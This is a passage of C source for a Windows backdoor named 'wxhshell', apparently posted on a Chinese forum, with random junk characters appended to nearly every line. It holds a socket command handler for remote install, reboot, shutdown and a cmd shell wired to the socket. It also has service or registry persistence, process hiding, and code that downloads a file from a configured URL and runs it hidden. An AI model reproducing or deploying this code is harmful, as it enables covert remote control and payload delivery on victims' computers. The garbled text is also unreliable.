  // 帮助 Vg`32nRN  
  case '?': { yD^Q&1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c_6~zb?k+m  
    break; h],l`lT1\  
  } }(UU~V  
  // 安装 >s%m\"|oh  
  case 'i': { /n9,XD&)  
    if(Install()) >@|XY<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sc# q03  
    else |/RZGC4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u$V@akk  
    break; mk`#\=GE  
    } UTxqqcqEny  
  // 卸载 y=e|W=<D&  
  case 'r': { Tml>>O  
    if(Uninstall()) hLSas#B>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G8 CM  
    else JN<u4\e{-&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X./7b{Pax  
    break; y}> bJ:  
    } !X{>?.@~  
  // 显示 wxhshell 所在路径 4q`e<!MP)q  
  case 'p': { ,6T3:qkkvF  
    char svExeFile[MAX_PATH]; ET=-r  
    strcpy(svExeFile,"\n\r"); {r[g.@  
      strcat(svExeFile,ExeFile); li)shp)  
        send(wsh,svExeFile,strlen(svExeFile),0); :}~B;s0M\  
    break; [G}l;  
    } k%sh ;1.  
  // 重启 uRRp8hht  
  case 'b': { $mDlS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OO?BN!  
    if(Boot(REBOOT)) _Dg|Iz,Uh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pu0O6@Rg  
    else { I(0 *cWO  
    closesocket(wsh); a*UxRi8  
    ExitThread(0); !L55S 0 3  
    } ty)~]!tA  
    break; ]n&Eb88  
    } d7!,  
  // 关机 #s]`jdc  
  case 'd': { H.s:a#l?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W"H*Ad(V  
    if(Boot(SHUTDOWN)) ,mvU`>Ry  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s% (|z  
    else { `&)uuLn|  
    closesocket(wsh); ~*^aCuq\  
    ExitThread(0); >Byxb./*  
    } 47^R  
    break; gK>aR ^*  
    } @6z]Xb  
  // 获取shell \~@a/J  
  case 's': { De:| T8&  
    CmdShell(wsh); HF]|>1WV[  
    closesocket(wsh); q5ja \  
    ExitThread(0); QMWDII&t  
    break; 4A~1Z,"%v(  
  } DH{^9HK  
  // 退出 . KzU7  
  case 'x': { |$.`4h?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GUdVsZjz(  
    CloseIt(wsh); Jz6zJKcA  
    break; v?qU/  
    } T!Eyq,]  
  // 离开 "~ eF%}.  
  case 'q': {  `\#J&N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <aGfQg|554  
    closesocket(wsh); ,e5#wz  
    WSACleanup(); -_"6jU  
    exit(1); :]k`;;vh  
    break; gKWsmx!["  
        } U8R*i7  
  } OykYXFv*  
  } 3=xN)j#B  
>]S-a-|Bp  
  // 提示信息 ,5HC &@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1wM~),B8  
} E)utrO R  
  } ;-!j,V+$h  
I<^&~==  
  return; %cFqD &6  
} O7D61~G]  
;dE'# Kb  
// shell模块句柄 gj-MkeI)  
int CmdShell(SOCKET sock) Dt\rMSjZ9  
{ GYK&QYi,  
STARTUPINFO si; ^OnZ9?C{R  
ZeroMemory(&si,sizeof(si)); byetbt(IF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ym5ji$!2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JUlCj #%  
PROCESS_INFORMATION ProcessInfo; N@r`+(_t  
char cmdline[]="cmd"; ^ woCwW8n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tunjV1 ,]  
  return 0; Z@{e\sZ)  
} d\A!5/LG  
),]XN#jp(u  
// 自身启动模式 {m7>9{`  
int StartFromService(void) "`&1"*  
{ 9s@$P7N5B  
typedef struct 78-D/WY/X  
{ 6y+}=)J  
  DWORD ExitStatus; EQ> ]~  
  DWORD PebBaseAddress; W$ag |WV  
  DWORD AffinityMask; QC^ #ns&  
  DWORD BasePriority; K \_JG $(9  
  ULONG UniqueProcessId; lD\vq2  
  ULONG InheritedFromUniqueProcessId; r\DA&b  
}   PROCESS_BASIC_INFORMATION; ^L"ENsOs  
=UMqa;\K  
PROCNTQSIP NtQueryInformationProcess; 0s'H(qE,_  
o/5loV3h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1&Ruz[F5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7\nR'MOZ  
Tq*K =^  
  HANDLE             hProcess; o"-*,:Qe  
  PROCESS_BASIC_INFORMATION pbi; IFfB3{J  
U+wfq%Fz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $F/Uk;*d!  
  if(NULL == hInst ) return 0; }10ZPaHjl+  
0$A7"^]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %RX}sS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?'I pR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n+9rx]W,  
-K*&I!  
  if (!NtQueryInformationProcess) return 0; @_4E^KgF  
D*o5fPvFO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l6#ms!e  
  if(!hProcess) return 0; |VxO ,[~  
)CM3v L {  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?KMGk]_<  
1sN >U<  
  CloseHandle(hProcess); _q<Ke/  
1'Y7h;\~\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QdtGFY4f,  
if(hProcess==NULL) return 0; GB\1'  
g:]X '%Ub  
HMODULE hMod; BA(PWX`H  
char procName[255]; gyf9D]W  
unsigned long cbNeeded; FhVoN}  
lbUUf}   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (&^k''f  
(+lCh7.  
  CloseHandle(hProcess); ('Doy1L  
nkii0YB!  
if(strstr(procName,"services")) return 1; // 以服务启动 8^>qzaf 8  
C^8n;i9  
  return 0; // 注册表启动  "yA=Tw  
} I@jXW>$  
,wPvv(b]a  
// 主模块 ZtPnHs.x  
int StartWxhshell(LPSTR lpCmdLine) yHIZpU|(j  
{ Zm+QhnY|  
  SOCKET wsl; tVFydN~  
BOOL val=TRUE; 4<(U/58a*  
  int port=0; `_Fxb@"R  
  struct sockaddr_in door; z3l(4WP  
LCouDk(=`  
  if(wscfg.ws_autoins) Install(); 3L1MMUACL  
!5zDnv  
port=atoi(lpCmdLine); F*rsi7#!pG  
6Ud6F t6  
if(port<=0) port=wscfg.ws_port; ilr'<5 rq  
QK0-jYG^  
  WSADATA data; lZ>j:/R8^&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ngI3.v/R  
cypb 6Q_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S2,tv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -gK*&n~  
  door.sin_family = AF_INET; vn5O8sD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); odaCKhdk  
  door.sin_port = htons(port); L2<IG)oXU  
<2,NWn.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h5^qo ^;g7  
closesocket(wsl); FBGe s[,  
return 1; k=M_2T'  
} QuWW a|g^.  
lNs;-`I~  
  if(listen(wsl,2) == INVALID_SOCKET) { 7+;$_,Xo<  
closesocket(wsl); fjP(r+[  
return 1; Y~"5HP|  
} c[<>e#s+;  
  Wxhshell(wsl); c3]`W7E6L  
  WSACleanup(); xixdv{M<FF  
&V77Wn OY  
return 0; YQ$EN>.eO  
_CImf1  
} w8iXuRv  
/*kc|V  
// 以NT服务方式启动 i2&I<:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J@lQzRqRb  
{ #Bo3 :B8  
DWORD   status = 0; (N[R`LN  
  DWORD   specificError = 0xfffffff; /{71JqFis  
}8&?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #_?m.~`g[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tQ7:4._  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )~2~q7  
  serviceStatus.dwWin32ExitCode     = 0; VV$4NV&`Q  
  serviceStatus.dwServiceSpecificExitCode = 0; EV.F/W h  
  serviceStatus.dwCheckPoint       = 0; zz* *HwRt  
  serviceStatus.dwWaitHint       = 0; [ @ASAhV^+  
&w'1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /C\tJs  
  if (hServiceStatusHandle==0) return; |9Pi*)E  
;6AanwR6  
status = GetLastError(); b9RJ>K  
  if (status!=NO_ERROR) +Z=%4  
{ KJP}0|[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  U!O"f  
    serviceStatus.dwCheckPoint       = 0; dng^#|X)?  
    serviceStatus.dwWaitHint       = 0; >i!y[F  
    serviceStatus.dwWin32ExitCode     = status; v9"|VhZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; k(ho?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?R":"*eu  
    return; )\RG NJMC  
  } M'|?* aNK  
LTWiCI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^Gwpx +  
  serviceStatus.dwCheckPoint       = 0; &qyXi[vw  
  serviceStatus.dwWaitHint       = 0; ?"-1QG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ny` =]BA  
} 1EAQ ~S!2  
tV"Jh>Z  
// 处理NT服务事件,比如:启动、停止 ?XllPnuKt%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M.3ULt8  
{ \]|(w*C  
switch(fdwControl) 0`KR8# A@  
{ )o`[wq  
case SERVICE_CONTROL_STOP: rd1EA|T  
  serviceStatus.dwWin32ExitCode = 0; 3-v&ktD&N'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L}=t"y  
  serviceStatus.dwCheckPoint   = 0; 6`WI S4  
  serviceStatus.dwWaitHint     = 0; Mi)h<lY  
  { 8DGPA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r)|6H"n#]S  
  } 4QBPN@~t  
  return; 6Wk9"?+1  
case SERVICE_CONTROL_PAUSE: noZ!j>f{@l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SQT]'  
  break; l1%ubu  
case SERVICE_CONTROL_CONTINUE: g#lMT%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kca#ssN  
  break; /*e6('9s  
case SERVICE_CONTROL_INTERROGATE: ~?z u5,vb  
  break; Aaug0X  
}; fLg :+Ue<B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Iax \rQ  
} .2V?G]u  
uNf97*~_  
// 标准应用程序主函数 e7r3o,!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #`@5`;U>#  
{ ov\+&=IRG  
]ONBr(M\  
// 获取操作系统版本 F60?%gg  
OsIsNt=GetOsVer(); nSp OTQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V;d<S@$  
U8OVn(qV  
  // 从命令行安装 $CDRIn50  
  if(strpbrk(lpCmdLine,"iI")) Install(); nhy:5eSK  
#H;1)G(/  
  // 下载执行文件 m+QZ|  
if(wscfg.ws_downexe) { L~("C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *r)dtI*  
  WinExec(wscfg.ws_filenam,SW_HIDE); I{i6e'.jP  
} E<'V6T9bi  
5}TTf2&Xo#  
if(!OsIsNt) { "Pl.G[Buc-  
// 如果时win9x,隐藏进程并且设置为注册表启动 U;#G $  
HideProc(); s\e b  
StartWxhshell(lpCmdLine); %?Q<  
} HdRwDW@7=  
else #xh M&X  
  if(StartFromService()) cb }OjM F  
  // 以服务方式启动 j [4l'8Ek  
  StartServiceCtrlDispatcher(DispatchTable); xg;vQKS6  
else ;sAe#b  
  // 普通方式启动 V3<#_:;  
  StartWxhshell(lpCmdLine); Y^b}~t  
L cTTfb+<  
return 0; h{: ]'/@~  
}
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只看该作者 1 发表于: 2006-10-10
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